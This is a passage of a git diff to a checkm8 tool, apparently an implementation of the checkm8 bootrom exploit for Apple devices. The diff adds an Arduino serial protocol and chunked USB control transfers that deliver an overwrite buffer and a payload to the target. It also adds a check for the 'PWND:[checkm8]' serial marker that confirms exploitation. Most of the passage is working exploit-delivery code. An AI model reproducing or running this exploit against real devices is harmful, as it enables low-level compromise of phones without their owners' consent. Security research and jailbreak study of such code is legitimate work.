(%i bytes)\n", ow_len); + while(index < ow_len) + { + if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE; + else amount = ow_len - index; + checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount); - checkm8_debug_indent("\ttransferring payload\n"); - no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100); - no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100); + no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100); + index += amount; + } + + index = 0; + amount = 0; + + checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len); + while(index < pl_len) + { + if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE; + else amount = pl_len - index; + checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount); + + no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100); + index += amount; + } - checkm8_debug_indent("reset\n"); reset(dev); return CHECKM8_SUCCESS; } @@ -177,15 +203,15 @@ int check_function(struct pwned_device *dev) checkm8_debug_indent("checking device serial\n"); unsigned char serial_buf[128]; unsigned int i; + int ret; + + ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf)); + if(IS_CHECKM8_FAIL(ret)) return ret; - serial_descriptor(dev, serial_buf, sizeof(serial_buf)); checkm8_debug_indent("\tgot serial %s\n", serial_buf); for(i = 0; i < 13; i++) { - if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) - { - return CHECKM8_FAIL_NOEXP; - } + if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP; } return CHECKM8_SUCCESS; @@ -217,14 +243,14 @@ struct pwned_device *exploit_device() ret = check_function(res); if(ret == CHECKM8_SUCCESS) { - // already exploited + checkm8_debug_indent("\tdevice is already exploited\n"); res->status = DEV_PWNED; close_device_session(res); return res; } else if(ret == CHECKM8_FAIL_NODEV) { - // no device found + checkm8_debug_indent("\tno device found\n"); free_device(res); return NULL; } diff --git a/checkm8_remote/src/usb_helpers.c b/checkm8_remote/src/usb_helpers.c index c9aa67a..263e645 100644 --- a/checkm8_remote/src/usb_helpers.c +++ b/checkm8_remote/src/usb_helpers.c @@ -1,14 +1,16 @@ #include "usb_helpers.h" +#include + #ifdef WITH_ARDUINO #include #include #include +#include "ard_protocol.h" #else -#include #include #include "libusbi.h" @@ -91,21 +93,15 @@ int open_device_session(struct pwned_device *dev) // read a setup verification byte while(read(ard_fd, &buf, 1) == 0); - if(buf == '\x00') + if(buf == PROT_SUCCESS) { - checkm8_debug_block("\tarduino successfully setup\n"); + checkm8_debug_indent("\tarduino successfully setup\n"); dev->ard_fd = ard_fd; return CHECKM8_SUCCESS; } - else + else if(buf == PROT_FAIL_INITUSB) { - checkm8_debug_indent("\tarduino error: "); - while(buf != '\n') - { - checkm8_debug_block("%c", buf); - while(read(ard_fd, &buf, 1) == 0); - } - + checkm8_debug_indent("\tarduino failed to init USB host shield\n"); close(ard_fd); return CHECKM8_FAIL_NOTDONE; } @@ -251,7 +247,47 @@ int partial_ctrl_transfer(struct pwned_device *dev, dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); #ifdef WITH_ARDUINO + char buf; + struct usb_xfer_args args; + args.bmRequestType = bmRequestType; + args.bRequest = bRequest; + args.wValue = wValue; + args.wIndex = wIndex; + args.data_len = data_len; + checkm8_debug_indent("\tsending data to arduino\n"); + write(dev->ard_fd, &PROT_PARTIAL_CTRL_XFER, 1); + write(dev->ard_fd, &args, sizeof(struct usb_xfer_args)); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return CHECKM8_SUCCESS; + } + else if(buf == PROT_FAIL_USB) + { + while(read(dev->ard_fd, &buf, 1) == 0); + + checkm8_debug_indent("\trequest failed with error %X\n", buf); + return CHECKM8_FAIL_XFER; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } #else struct timeval start, end; unsigned char usb_transfer_buf[8 + data_len]; @@ -302,7 +338,40 @@ int no_error_ctrl_transfer(struct pwned_device *dev, dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); #ifdef WITH_ARDUINO + unsigned char buf; + struct usb_xfer_args args; + args.bmRequestType = bmRequestType; + args.bRequest = bRequest; + args.wValue = wValue; + args.wIndex = wIndex; + args.data_len = data_len; + checkm8_debug_indent("\tsending data to arduino\n"); + write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER, 1); + write(dev->ard_fd, &args, sizeof(struct usb_xfer_args)); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } #else int ret; unsigned char recipient = bmRequestType & 3u; @@ -324,6 +393,61 @@ int no_error_ctrl_transfer(struct pwned_device *dev, #endif } +int no_error_ctrl_transfer_data(struct pwned_device *dev, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout) +{ + checkm8_debug_indent( + "no_error_ctrl_transfer_data(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n", + dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); +#ifdef WITH_ARDUINO + char buf; + struct usb_xfer_args args; + args.bmRequestType = bmRequestType; + args.bRequest = bRequest; + args.wValue = wValue; + args.wIndex = wIndex; + args.data_len = data_len; + + checkm8_debug_indent("\tsending data to arduino\n"); + write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER_DATA, 1); + write(dev->ard_fd, &args, sizeof(struct usb_xfer_args)); + write(dev->ard_fd, data, data_len); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_FAIL_TOOBIG) + { + checkm8_debug_indent("\tdata packet is too big\n"); + return CHECKM8_FAIL_INVARGS; + } + else if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } +#else + return no_error_ctrl_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); +#endif +} + int ctrl_transfer(struct pwned_device *dev, unsigned char bmRequestType, unsigned char bRequest, unsigned short wValue, unsigned short wIndex, @@ -335,7 +459,51 @@ int ctrl_transfer(struct pwned_device *dev, dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); #ifdef WITH_ARDUINO - // TODO + char buf; + struct usb_xfer_args args; + args.bmRequestType = bmRequestType; + args.bRequest = bRequest; + args.wValue = wValue; + args.wIndex = wIndex; + args.data_len = data_len; + + checkm8_debug_indent("\tsending data to arduino\n"); + write(dev->ard_fd, &PROT_CTRL_XFER, 1); + write(dev->ard_fd, &args, sizeof(struct usb_xfer_args)); + write(dev->ard_fd, data, data_len); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_FAIL_TOOBIG) + { + checkm8_debug_indent("\tdata packet is too big\n"); + return CHECKM8_FAIL_INVARGS; + } + else if(buf == PROT_FAIL_USB) + { + while(read(dev->ard_fd, &buf, 1) == 0); + checkm8_debug_indent("\tUSB failed with error %x\n", buf); + } + else if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } #else return libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, @@ -347,8 +515,33 @@ int ctrl_transfer(struct pwned_device *dev, int reset(struct pwned_device *dev) { + checkm8_debug_indent("reset(dev = %p)\n", dev); #ifdef WITH_ARDUINO + char buf; + write(dev->ard_fd, &PROT_RESET, 1); + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } #else return libusb_reset_device(dev->bundle->handle); #endif @@ -356,8 +549,58 @@ int reset(struct pwned_device *dev) int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len) { -#ifdef WITH_ARDUINO + checkm8_debug_indent("serial_descriptor(dev = %p, serial_buf = %p, len = %i)\n", dev, serial_buf, len); +#ifdef WITH_ARDUINO + char buf; + int curr, ret; + struct serial_desc_args args; + args.dev_idVendor = dev->idVendor; + args.dev_idProduct = dev->idProduct; + args.len = len; + + checkm8_debug_indent("\tsending data to arduino\n"); + write(dev->ard_fd, &PROT_SERIAL_DESC, 1); + write(dev->ard_fd, &args, sizeof(struct serial_desc_args)); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived ack\n"); + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_FAIL_NODEV) + { + checkm8_debug_indent("\tno device attached\n"); + return CHECKM8_FAIL_NODEV; + } + else if(buf == PROT_FAIL_WRONGDEV) + { + checkm8_debug_indent("\twrong device attached\n"); + return CHECKM8_FAIL_NODEV; + } + else if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess, reading serial descriptor\n"); + curr = 0; + while(curr < len) + { + ret = read(dev->ard_fd, &serial_buf[curr], len - curr); + if(ret > 0) curr += ret; + } + + return CHECKM8_SUCCESS; + } + else + { + checkm8_debug_indent("\tunexpected response %X\n", buf); + return CHECKM8_FAIL_PROT; + } + } + else + { + checkm8_debug_indent("\tno ack received (got %x)\n", buf); + return CHECKM8_FAIL_PROT; + } #else struct libusb_device_handle *handle = dev->bundle->handle; struct libusb_device_descriptor *desc = dev->bundle->descriptor; diff --git a/include/ard_protocol.h b/include/ard_protocol.h new file mode 100644 index 0000000..f4f3258 --- /dev/null +++ b/include/ard_protocol.h @@ -0,0 +1,38 @@ +#ifndef CHECKM8_TOOL_ARD_PROTOCOL_H +#define CHECKM8_TOOL_ARD_PROTOCOL_H + +static const char PROT_PARTIAL_CTRL_XFER = 'P'; +static const char PROT_NO_ERROR_CTRL_XFER = 'N'; +static const char PROT_NO_ERROR_CTRL_XFER_DATA = 'M'; +static const char PROT_CTRL_XFER = 'C'; +static const char PROT_RESET = 'R'; +static const char PROT_SERIAL_DESC = 'S'; + +static const char PROT_SUCCESS = '\x00'; +static const char PROT_ACK = '\x01'; +static const char PROT_FAIL_BADCMD = '\xFF'; +static const char PROT_FAIL_NODEV = '\xFE'; +static const char PROT_FAIL_WRONGDEV = '\xFD'; +static const char PROT_FAIL_USB = '\xFC'; +static const char PROT_FAIL_TOOBIG = '\xFB'; + +static const char PROT_FAIL_INITUSB = '\xEF'; + +struct usb_xfer_args +{ + unsigned char bmRequestType; + unsigned char bRequest; + unsigned short wValue; + unsigned short wIndex; + + unsigned short data_len; +}; + +struct serial_desc_args +{ + unsigned short dev_idVendor; + unsigned short dev_idProduct; + unsigned char len; +}; + +#endif //CHECKM8_TOOL_ARD_PROTOCOL_H diff --git a/include/checkm8_config.h b/include/checkm8_config.h index a25a990..d5c0e3a 100644 --- a/include/checkm8_config.h +++ b/include/checkm8_config.h @@ -3,7 +3,9 @@ //#define LIBUSB_LOGGING #define CHECKM8_LOGGING -//#define WITH_ARDUINO +#define ARDUINO_LOGGING + +#define WITH_ARDUINO #define ARDUINO_DEV "/dev/ttyACM0" #define ARDUINO_BAUD 115200